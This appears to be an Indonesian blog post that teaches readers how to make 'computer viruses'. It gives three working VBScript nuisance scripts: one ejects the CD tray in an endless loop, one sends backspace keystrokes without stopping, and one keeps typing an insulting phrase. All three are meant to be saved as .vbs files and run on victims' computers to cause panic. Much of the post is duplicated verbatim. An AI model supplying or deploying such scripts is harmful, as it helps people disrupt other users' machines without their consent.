Kali Ini Saya akan berbagi Info untuk teman teman sekalian.
yang ingin belajar membuat virus merapat :)
" Bang? bagaimana cara membuat Virus komputer ? "
Itu mudah sekali untuk dijawab :)
Jawabnnya ada di Bawah ini
1. Buka Notepad.
Cara : Klik Start => Klik All Program => Accessories => Pilih Notepad.
* setelah terbuka.
Copy script dibawah ini :
Quote:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Paste script diatas kedalam NotePad.
3. Kemudian Save dengan ekstensi .vbs
Okee-!!!
JANGAN COBA-COBA MENCOBA PADA KOMPUTER ANDA-!!
Ada yang lain lagi lhooo…
Yang dapat membuat orang lain panic.
Caranya sama seperti diatas. Tapi scriptnya berbeda dan ekstensinya juga berbeda1. Backspace Jalan Terus-Menerus :
Quote:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
(Save dalam ekstensi .VBS)2. Korban Harus Mengetik "Saya Orang Gila"
Secara Terus-Menerus :
Quote:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys " Saya Orang Gila "
loop
( save dalam ektensi .VBS )
Cara : Klik Start => Klik All Program => Accessories => Pilih Notepad.
* setelah terbuka.
Copy script dibawah ini :
Quote:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Paste script diatas kedalam NotePad.
3. Kemudian Save dengan ekstensi .vbs
Okee-!!!
JANGAN COBA-COBA MENCOBA PADA KOMPUTER ANDA-!!
Ada yang lain lagi lhooo…
Yang dapat membuat orang lain panic.
Caranya sama seperti diatas. Tapi scriptnya berbeda dan ekstensinya juga berbeda1. Backspace Jalan Terus-Menerus :
Quote:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
(Save dalam ekstensi .VBS)2. Korban Harus Mengetik "Saya Orang Gila"
Secara Terus-Menerus :
Quote:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys " Saya Orang Gila "
loop
( save dalam ektensi .VBS )
Tidak ada komentar:
Posting Komentar